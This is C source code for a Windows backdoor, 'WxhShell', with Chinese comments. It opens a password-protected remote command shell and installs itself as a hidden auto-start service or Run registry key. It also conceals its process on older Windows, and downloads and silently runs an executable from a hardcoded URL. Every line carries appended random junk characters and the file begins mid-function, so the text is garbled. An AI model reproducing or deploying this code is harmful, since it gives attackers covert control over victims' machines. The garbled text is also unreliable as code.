    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D4';QCwo  
    else { WnATgY t  
    closesocket(wsh); u+U '|6)E  
    ExitThread(0); I\8f`l  
    } C3m](%?   
    break; >9?BJv2  
    } y[L7=Td  
  // 获取shell *qh$,mp>  
  case 's': { [1Os.G2  
    CmdShell(wsh); ^M51@sXI7  
    closesocket(wsh); I $5*Puy#  
    ExitThread(0); >pS @;t'  
    break;  vbol 70  
  } , [ogh  
  // 退出 Y(:.f-Du  
  case 'x': { O(P ,!  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 47(/K2  
    CloseIt(wsh); hvc%6A\nm  
    break; n aQ0TN,  
    } 9lT6fW`v1Q  
  // 离开 R78=im7  
  case 'q': { \&|zD"*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); k{{iF  
    closesocket(wsh); i2h,=NHJh?  
    WSACleanup(); >n`!S`)9{  
    exit(1); GQU9UXe  
    break; /.?m9O^ F  
        } DA0{s  
  } $}9.4` F>  
  } K5oVB,z)  
m{~p(sQL  
  // 提示信息 &s]wf  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !'ylh8}  
} Ru1I,QvCj"  
  } U}r^M( s!  
g{]C@,W  
  return; uU7s4oJ|  
} h`1{tu  
j|WuOZm\0  
// shell模块句柄 ISp'4H7R+N  
int CmdShell(SOCKET sock) G:n,u$2a<  
{ Oyfc!  
STARTUPINFO si; }!^/<|$=  
ZeroMemory(&si,sizeof(si)); 9/La _ :K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7<'4WHi;@s  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 3]*_*<D  
PROCESS_INFORMATION ProcessInfo; 2E@ !  
char cmdline[]="cmd"; upD 2vtU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;k<n}shD  
  return 0; Hg~O0p}[  
} 8SG*7[T7  
 3,7SGt r  
// 自身启动模式 aN87^[  
int StartFromService(void) K1vm [Ne  
{ \P3[_kbf1  
typedef struct AbWnDqv  
{ |.]:#)^X?  
  DWORD ExitStatus; d"7l<y5  
  DWORD PebBaseAddress; ]#UyYgPk  
  DWORD AffinityMask; wEMh !jAbv  
  DWORD BasePriority; $#bgt   
  ULONG UniqueProcessId; #U46Au  
  ULONG InheritedFromUniqueProcessId; }s0?RH  
}   PROCESS_BASIC_INFORMATION; v|VfSLZTb  
x B%Felz  
PROCNTQSIP NtQueryInformationProcess; Rh:@@4<  
B%|cp+/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; #i#4h<R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @0XqUcV  
k"J [mT$b  
  HANDLE             hProcess; h{dR)#)GF<  
  PROCESS_BASIC_INFORMATION pbi; q- U/JC  
D"5uN0Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?1r>t"e5  
  if(NULL == hInst ) return 0; F]#rH   
{"cS:u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kt.y"^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cg~GlZk}  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Z+mesj?.  
5#v  
  if (!NtQueryInformationProcess) return 0; /uTU*Oe  
3#d5.Ut  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); INm21MS$  
  if(!hProcess) return 0; Nb))_+/  
LI>tN R~  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~S\Ee 2e>  
*?k~n9n5U  
  CloseHandle(hProcess); gC}r$ZB(  
M]S&vE{D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %&c+} m  
if(hProcess==NULL) return 0; E(5'vr0  
Ol}^'7H  
HMODULE hMod; 1NP(3yt%  
char procName[255]; 1:.0^?Gz  
unsigned long cbNeeded; F2;k6M@  
sC8C><y  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); H#/}FoBiS  
LK "47  
  CloseHandle(hProcess); IX!Q X  
g$qNK`y  
if(strstr(procName,"services")) return 1; // 以服务启动 ;P` z ?>J:  
D6 2xC5  
  return 0; // 注册表启动 PMDx5-{A/t  
} ]F,mj-?4x  
!'4HUB>+  
// 主模块 ?m)3n0Uh  
int StartWxhshell(LPSTR lpCmdLine) R7/"ye:7J  
{ f0 ;Fokt(  
  SOCKET wsl; yQ33JQr  
BOOL val=TRUE; {b|:q>Be8  
  int port=0; hFDY2Cp]D  
  struct sockaddr_in door; @O;gKFx  
yu3T5@Ww  
  if(wscfg.ws_autoins) Install(); y4aW8J#  
vJX3fE }F  
port=atoi(lpCmdLine); xt! DS0|*Y  
+V"t't7  
if(port<=0) port=wscfg.ws_port; e 1W9Z $m  
>680}\S  
  WSADATA data; J|DID+M  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; L-7?:  
67/&AiS?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4I"p>FIkY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1^G*)Qn5Df  
  door.sin_family = AF_INET; wnaT~r@U'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); G(LGa2;Zg  
  door.sin_port = htons(port); {uO=Wkp~7  
B~/:["zTh&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { SxC   
closesocket(wsl); ar-N4+!@  
return 1; nLn3kMl4  
} z(sfX}%  
BDW%cs  
  if(listen(wsl,2) == INVALID_SOCKET) { }9w?[hXW"  
closesocket(wsl); OH2Xxr[bQ  
return 1; ]>E)0<t  
} 3)jFv7LAU  
  Wxhshell(wsl); _#6_7=g@s6  
  WSACleanup(); [TUy><Z  
|9YY8oT.  
return 0; =Q#} ,T  
ZT*RD2,  
} [If%+mHdU  
~YQC!x  
// 以NT服务方式启动 "~ 1:7{k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zZ rUS'8  
{ (;RmfE'PX  
DWORD   status = 0; Gqe?CM  
  DWORD   specificError = 0xfffffff; PuKT0*_ 7  
zGtWyXP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :#CQQ*@  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING;  T06BrX  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W4 v/,g>  
  serviceStatus.dwWin32ExitCode     = 0; 3v~804kWB  
  serviceStatus.dwServiceSpecificExitCode = 0; U?vG?{A  
  serviceStatus.dwCheckPoint       = 0; 4/6?wX  
  serviceStatus.dwWaitHint       = 0; U^ bF}4m  
ZCdlTdY   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $)UMRG  
  if (hServiceStatusHandle==0) return; `zD]*i(  
a: C h"la  
status = GetLastError(); N~c Y~a  
  if (status!=NO_ERROR) ,,U8X [A  
{ 1}O&q6\"J  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; f{s}[p~  
    serviceStatus.dwCheckPoint       = 0; }n!$)W*?  
    serviceStatus.dwWaitHint       = 0; '@~\(SH  
    serviceStatus.dwWin32ExitCode     = status; ;5i~McH# t  
    serviceStatus.dwServiceSpecificExitCode = specificError; s8i@HO  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); dvPK5+0W?  
    return; o75Hit  
  } Y9YE:s  
^0 zWiX  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; eouxNw}F1  
  serviceStatus.dwCheckPoint       = 0; N*Is_V\R  
  serviceStatus.dwWaitHint       = 0; s&>U-7fx"  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ]UtfI  
} &bh%>[  
dm;C @.ML  
// 处理NT服务事件,比如:启动、停止 W3AtO  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ],!7S"{97  
{ ; M)l7f  
switch(fdwControl) <B+xE?v4  
{ uA`EJ )d  
case SERVICE_CONTROL_STOP: G54,`uz2  
  serviceStatus.dwWin32ExitCode = 0; n@`D:;?{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E{):z g  
  serviceStatus.dwCheckPoint   = 0; etcpto=Mo  
  serviceStatus.dwWaitHint     = 0; BQ[,(T`+R  
  { (z8^^j[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); E~[v.3`  
  } M1>2Q[h7  
  return; z8MKGM  
case SERVICE_CONTROL_PAUSE: }&E'ox<S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]]R!MnU:$  
  break; @<^_ _."  
case SERVICE_CONTROL_CONTINUE: qD#E, "%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,PmQ}1kGW  
  break; L%h Vts'  
case SERVICE_CONTROL_INTERROGATE: 1Tb'f^M$  
  break; XGs d"UW  
}; ZxvqLu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4hymQ3 g  
} Ym]Dlz,o  
e*nT+Rp  
// 标准应用程序主函数 .u<i<S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) { \r1A  
{ 0=WZ 8|R  
Q!%C:b  
// 获取操作系统版本 {c#{dT  
OsIsNt=GetOsVer(); z_gjC%(y  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Zze(Ik  
<Z0N)0|  
  // 从命令行安装 $qvk9 B0E  
  if(strpbrk(lpCmdLine,"iI")) Install(); CrTGC%w{=  
:o2^?k8k&#  
  // 下载执行文件 bVLuv`A/  
if(wscfg.ws_downexe) { Xa=M{x  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2D?V0>/  
  WinExec(wscfg.ws_filenam,SW_HIDE); dn? #}^,"  
} QqF&lMH  
9f wFSJx  
if(!OsIsNt) { TgDx3U[  
// 如果时win9x,隐藏进程并且设置为注册表启动 /:<.Cn>-  
HideProc(); h 2Kx  
StartWxhshell(lpCmdLine); /4Df 'd  
} ZysZS%  
else H@j D %  
  if(StartFromService()) W-72&\7  
  // 以服务方式启动 BAJEn6f?  
  StartServiceCtrlDispatcher(DispatchTable); *[@k=!73  
else Pc{0Js5VzE  
  // 普通方式启动 o3s ME2  
  StartWxhshell(lpCmdLine); ]<Ugg  
Q5!"tF p  
return 0; ~_;x o?@ba  
} c@uNA0 p  
lZ\8$,B)  
);m7;}gE  
CyWaXp65  
=========================================== T({]fc!c  
|= xK-;qs  
#]vy`rv  
!)nA4l= S#  
:(^, WOf  
Sz"rp9x+  
" f0<'IgN  
2V-zmyJs5  
#include <stdio.h> zG[GyyAQ  
#include <string.h> vv9=g*"j  
#include <windows.h> qYwEPGa\  
#include <winsock2.h> O<:"Irq\qr  
#include <winsvc.h> xM#+jI  
#include <urlmon.h>  GD]yP..  
C}7 c:4c  
#pragma comment (lib, "Ws2_32.lib") !8z,}HUdK  
#pragma comment (lib, "urlmon.lib") V~9s+>  
BB>R=kt  
#define MAX_USER   100 // 最大客户端连接数 !_ng_,J  
#define BUF_SOCK   200 // sock buffer YNRorE   
#define KEY_BUFF   255 // 输入 buffer LKEf#mp  
)`*=P}D  
#define REBOOT     0   // 重启 u>YC4&  
#define SHUTDOWN   1   // 关机 Cq<a|t  
a$7}41F[~s  
#define DEF_PORT   5000 // 监听端口 Z2%ySO  
|z5`h  
#define REG_LEN     16   // 注册表键长度 &idPO{G  
#define SVC_LEN     80   // NT服务名长度 j9bn|p$DA  
,rC$~ &  
// 从dll定义API BS6UXAf{|Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); IpRdGT02  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ~ .dmfA{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7e`ylnP!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C5W} o:jE  
jMH=lQ+8  
// wxhshell配置信息 "< c,I=A  
struct WSCFG {  UE-+P  
  int ws_port;         // 监听端口 IwR/4LYI  
  char ws_passstr[REG_LEN]; // 口令 #y?iUv  
  int ws_autoins;       // 安装标记, 1=yes 0=no 'JjW5  
  char ws_regname[REG_LEN]; // 注册表键名 Q&X#( 3&'  
  char ws_svcname[REG_LEN]; // 服务名 z-Ndv;:  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 `!JcQ'u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #cZ<[K q6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 [5iBXOmpS=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }kCaTI?@#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :M |<c9I  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qZcRK9l]F1  
mfI>1W(  
}; DO^K8~]  
$?e_ l  
// default Wxhshell configuration E&wz0d;gf  
struct WSCFG wscfg={DEF_PORT, ^J[r<Dm8F  
    "xuhuanlingzhe", &F!Ct(c99  
    1, $N[R99*x8  
    "Wxhshell", (9_O ||e e  
    "Wxhshell", ^1b/Y8&8A  
            "WxhShell Service", JxV 0y  
    "Wrsky Windows CmdShell Service", m7F"kD  
    "Please Input Your Password: ", bH7 lUS~  
  1, o~(/Twxam  
  "http://www.wrsky.com/wxhshell.exe", pI>[^7  
  "Wxhshell.exe" ?Tr]zxtd  
    }; .}O _5b(  
9k`}fk\M  
// 消息定义模块 _T{ "F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?_VoO  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 4$wn8!x2|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3O'6 Ae  
char *msg_ws_ext="\n\rExit."; >[D(<b(U&  
char *msg_ws_end="\n\rQuit.";  V/8"@C  
char *msg_ws_boot="\n\rReboot..."; DUAI  
char *msg_ws_poff="\n\rShutdown..."; _!} L\E~  
char *msg_ws_down="\n\rSave to "; '&OJ hLE  
rZK;=\Ot  
char *msg_ws_err="\n\rErr!"; 4|]0%H~n6  
char *msg_ws_ok="\n\rOK!"; [|&V$  
9c}mAg4  
char ExeFile[MAX_PATH]; 'Pm.b}p<  
int nUser = 0; CBVL/pxy  
HANDLE handles[MAX_USER]; #ox &=MY  
int OsIsNt; RdirEH *H  
8vK$]e36  
SERVICE_STATUS       serviceStatus; 3Aqw )B'"_  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; C=sEgtEI  
4dgo*9  
// 函数声明 aYBc)LCd  
int Install(void); w`Ss MI  
int Uninstall(void); s9p~  
int DownloadFile(char *sURL, SOCKET wsh); BKfkB[*F  
int Boot(int flag); w|AHE  
void HideProc(void); YIc|0[ ]*|  
int GetOsVer(void); 3rUuRsXn  
int Wxhshell(SOCKET wsl); )qL UHE=  
void TalkWithClient(void *cs); mk'$ |2O  
int CmdShell(SOCKET sock); sb3k? q  
int StartFromService(void); y-/,,,r  
int StartWxhshell(LPSTR lpCmdLine); l0&Y",vy  
GlPd)m`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); xX5EhVR   
VOID WINAPI NTServiceHandler( DWORD fdwControl ); `/4 R$E{  
DA(ur'D  
// 数据结构和表定义 /p PSo  
SERVICE_TABLE_ENTRY DispatchTable[] = TJhzyJ"t  
{ X;vfbF   
{wscfg.ws_svcname, NTServiceMain}, ~:ldGfb|  
{NULL, NULL} *>#mI/#}  
}; 'Wv`^{y <^  
YWXY4*G  
// 自我安装 AB1.l hR  
int Install(void) *\M$pUS{  
{ Ul`~d !3zH  
  char svExeFile[MAX_PATH]; P#ro;3S3y  
  HKEY key; keMfK ]9  
  strcpy(svExeFile,ExeFile); yt@;yd:OEk  
6~rO(  
// 如果是win9x系统,修改注册表设为自启动 X S&oW  
if(!OsIsNt) { c2,;t)%@E  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Cr  a@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \d&/,?,Ey  
  RegCloseKey(key); I/&uiC{l@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { f0h^ULd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :1 Y*&s  
  RegCloseKey(key); nz}} m^-j  
  return 0; bFv,.(h'  
    } ^hN.FIzM  
  } J,&B   
} ^G*zFqa+`  
else { 9td[^EB#(h  
itpljh  
// 如果是NT以上系统,安装为系统服务 5J1q]^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); M;$LB@h  
if (schSCManager!=0) TA"4yri=7x  
{ kR1dk4I4  
  SC_HANDLE schService = CreateService d${RZ}/  
  ( IcDAl~uG  
  schSCManager, ="<S1}.  
  wscfg.ws_svcname, $X;wj5oj  
  wscfg.ws_svcdisp, waYH_)Zx  
  SERVICE_ALL_ACCESS, dPtQ Sa  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 1;Q>B>6  
  SERVICE_AUTO_START, ]%4rL S  
  SERVICE_ERROR_NORMAL, @TWtM#  
  svExeFile, 9_07?`Jr  
  NULL, CB1AL]|3  
  NULL, L( B(x>w  
  NULL, 33*NgQ;&~'  
  NULL, $h()% C7s  
  NULL p^(gXzW  
  ); Z`9yGaTO  
  if (schService!=0) l|Z<pD  
  { y=H\Z/=  
  CloseServiceHandle(schService); \dG#hH4ZD  
  CloseServiceHandle(schSCManager); M.loG4r!  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >JWW2<  
  strcat(svExeFile,wscfg.ws_svcname); UojHlTg#bT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { f5droys9  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <.l$jW]  
  RegCloseKey(key); TX%W-J _  
  return 0; >@T(^=Q  
    } uQYBq)p|  
  } [|NgrU_.  
  CloseServiceHandle(schSCManager); +=qazE<:0  
} fK'qc L  
} 2 ~zo)G0  
gEBwn2  
return 1; I {o\d'/  
} , id`=L=  
\!_:<"nX.  
// 自我卸载 MUs~ZF  
int Uninstall(void) jcuC2t  
{ ~:|qdv%\  
  HKEY key; u>cU*E4/  
^9ZW }AAO  
if(!OsIsNt) { 3o>.Z;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |iJ+e -_R  
  RegDeleteValue(key,wscfg.ws_regname); !8#!P  
  RegCloseKey(key); 5ZPe=SQ{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sY#iGEf  
  RegDeleteValue(key,wscfg.ws_regname); :M%s:,]R  
  RegCloseKey(key); hny):59f  
  return 0; l Zq`,E_L  
  } >h+G$&8[ y  
} 02EbmP  
} -A\J:2a|  
else { u\]aUP e  
)t/[z3rn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <> &!+|#  
if (schSCManager!=0) 6kc/  
{ 5nhc|E)C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G#~6a%VW  
  if (schService!=0) ic+tn9f\  
  {  1aAYBV<3  
  if(DeleteService(schService)!=0) { !{L6 4qI  
  CloseServiceHandle(schService); S(5aJ[7Zm  
  CloseServiceHandle(schSCManager); F%v?,`_&I  
  return 0; OFtAT@ =O  
  } 'za4c4b*u  
  CloseServiceHandle(schService); :<`hsKy&  
  } 'aWzam>  
  CloseServiceHandle(schSCManager); <<Fk[qMA  
} A^a9,T  
} 1Xv- e8M  
/^ d!$v  
return 1; jq4{UW'  
} fR4O^6c:  
<^Hh5kfS'  
// 从指定url下载文件 >#MGGCGL  
int DownloadFile(char *sURL, SOCKET wsh) - /s2'  
{ j})6O!L.  
  HRESULT hr; (:p&[HNuN  
char seps[]= "/"; r}gp{Pf7e  
char *token; t-vH\m  
char *file; & q(D90w.  
char myURL[MAX_PATH]; ~IB~>5U!  
char myFILE[MAX_PATH]; (aO+7ykRuJ  
.-:R mYGR  
strcpy(myURL,sURL); `GG PkTN  
  token=strtok(myURL,seps); u.}z}'-  
  while(token!=NULL) y?|JBf  
  { ^c9~~m16+  
    file=token; *d,u)l :S  
  token=strtok(NULL,seps); 9tnW:Nw~  
  } D;V FM P  
=a_B'^`L  
GetCurrentDirectory(MAX_PATH,myFILE); w:}RS.AK  
strcat(myFILE, "\\"); tXocGM {6C  
strcat(myFILE, file); RyGce' q  
  send(wsh,myFILE,strlen(myFILE),0); ya9V+/i7T_  
send(wsh,"...",3,0); |!\(eLR9>  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <*Kj7o{Qn  
  if(hr==S_OK) wec |~Rc-  
return 0; k^pf)*p  
else =9oN#4mWK  
return 1; s -Mzl?o  
?hu$  
} %h ?c  
j}=$2|}8{  
// 系统电源模块 "[.adiw  
int Boot(int flag) [hf#$Dl |  
{ (i,TxjS'od  
  HANDLE hToken; FS%Xq-c  
  TOKEN_PRIVILEGES tkp; 0<+=Ew5Z  
m|O7@N  
  if(OsIsNt) { 6 ]@H.8+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .[-d( #l{l  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C^po*(W6  
    tkp.PrivilegeCount = 1; ?PIOuN=  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; _fH.#C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .1yp}&e#  
if(flag==REBOOT) { %2<G3]6^U  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ]F@XGJN  
  return 0; ^n|u$gIF8  
} _RFTm.9&  
else { i0($@6Lh  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z[baQO  
  return 0; /x6,"M[97  
} N U*6MT4  
  } 6'e}!O  
  else { "%aJ 'l2  
if(flag==REBOOT) { yIwAJl7Xf  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 3|Q:tt'|#  
  return 0; "8Ud&o  
} Cwxy ~.mI  
else { bBkF,`/f$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) :[iWl8  
  return 0; `0tzQ>ZQq  
} TR8<=  
} {XMF26C#  
/++CwRz@Gm  
return 1; -d+q+l>0  
} Qwn/ ,  
7_WD)Y2yS  
// win9x进程隐藏模块 v1yNVs \}  
void HideProc(void) IYq)p /  
{ 'IweN  
:XK.A   
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nf5Ld"|%9  
  if ( hKernel != NULL ) V `V Z[  
  { k0{5)Su"xr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *5k" v"NM(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); igp[cFN  
    FreeLibrary(hKernel); 'aQ"&GX@  
  } NhyVX%qt:  
<im BFw  
return; yz}Agc4.I  
} F:.rb Ei  
(gQ^jmZPG  
// 获取操作系统版本 DFKU?#R  
int GetOsVer(void) c|[:vin  
{ qALlMj--m  
  OSVERSIONINFO winfo; /s3AZ j9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gb6t`dSzz  
  GetVersionEx(&winfo); }g:y!p k  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) nz:I\yA  
  return 1; `<Xq@\H  
  else #`5{?2gS9  
  return 0; lzz rzx^  
} `1F[.DdF  
>&mlwxqv  
// 客户端句柄模块 cB U,!  
int Wxhshell(SOCKET wsl) iN0gvjZ  
{ ]Cpd`}'  
  SOCKET wsh; =j]us?5  
  struct sockaddr_in client; F#KO!\iA+  
  DWORD myID; <N11$t&_  
"q(#,,_  
  while(nUser<MAX_USER) =(ts~^  
{ xQX,1NbH5  
  int nSize=sizeof(client); jk2h"):B>  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $v?+X20  
  if(wsh==INVALID_SOCKET) return 1; 0 !yvcviw  
$d M: 5y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [vkz<sL"  
if(handles[nUser]==0) M7 &u_Cn?  
  closesocket(wsh); E~5r8gM,0  
else .L[WvAo  
  nUser++; h_ef@ZwSw  
  } TJ3CXyRq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); o0b}:`  
/238pg~Cw5  
  return 0; RKsr}-1 8  
} $:kG>R@\t  
\TS t  
// 关闭 socket B5>h@p-UV  
void CloseIt(SOCKET wsh) h4x*C=?A  
{ E(A7DXzbR  
closesocket(wsh); mw9;LNi\D  
nUser--; z5PFppSQ  
ExitThread(0); GUJ[2/V~A  
} sZ #Ck"n  
*joy%F  
// 客户端请求句柄 uBI?nv,  
void TalkWithClient(void *cs) A-e#&pJ  
{ :SilQm*Pl  
Ml)~%ZbF  
  SOCKET wsh=(SOCKET)cs; 'awL!P--  
  char pwd[SVC_LEN]; /w0l7N  
  char cmd[KEY_BUFF]; O;c;>x_dA  
char chr[1]; Ym+k \h  
int i,j; m RB-}  
@BWroNg{  
  while (nUser < MAX_USER) { 4Y5Q>2D}  
B RF=TL5Z  
if(wscfg.ws_passstr) { ',k0 _n?t  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K*Y.mM)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); :nYl]Rm  
  //ZeroMemory(pwd,KEY_BUFF); #W,BUN}  
      i=0; _sIhQ8$:  
  while(i<SVC_LEN) { B`)o?GcVN  
8`Fo^c=j  
  // 设置超时 WJBi#(SY  
  fd_set FdRead; BX&bhWYGFX  
  struct timeval TimeOut; [uP_F,Y/  
  FD_ZERO(&FdRead); yCZV:R;  
  FD_SET(wsh,&FdRead); *(@(9]B~  
  TimeOut.tv_sec=8; hM^#X,7  
  TimeOut.tv_usec=0; cUssF%ud]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \D(6t!Ox  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); GGk.-Ew@  
0qXd?z$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); !_rAAY  
  pwd=chr[0]; [=079UN-X  
  if(chr[0]==0xd || chr[0]==0xa) { a9PSg/p  
  pwd=0; _?&$@c  
  break; 4jefU}e9#  
  } ,<*n>W4|  
  i++; @ROMHMd}  
    } @0A7d $J(  
@mBZu!,  
  // 如果是非法用户,关闭 socket laN:H mR8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 7UvfXzDNC  
} PeGL Rbx34  
)K.~A&y@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @.ebQR-:H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v'0A$`w`  
Ovh  
while(1) { f3Ior.n(  
z><=F,W  
  ZeroMemory(cmd,KEY_BUFF); ,-^Grmr4M  
8<ZxE(v  
      // 自动支持客户端 telnet标准   =!m5'$Uz>  
  j=0; I*_@WoI*  
  while(j<KEY_BUFF) { ^l|{*oj2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); WCT}OiLsL  
  cmd[j]=chr[0]; VE5w!of  
  if(chr[0]==0xa || chr[0]==0xd) { KCd}N  
  cmd[j]=0; [YG\a5QK  
  break; @ SaU2  
  } s7=CH   
  j++; V8ka*VJ(B  
    } 'EoJo9p6}  
:4s{?IY)l  
  // 下载文件 :GXiA  
  if(strstr(cmd,"http://")) { ?.E6Ube  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); PPO*&=!]  
  if(DownloadFile(cmd,wsh)) ogQY"c8  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NXsDn&&O  
  else 3jQy"9f  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5Z/xY &  
  } >2tQ')%DJ  
  else { '"&M4.J{  
qeLfO  
    switch(cmd[0]) { x!GHUz*:uz  
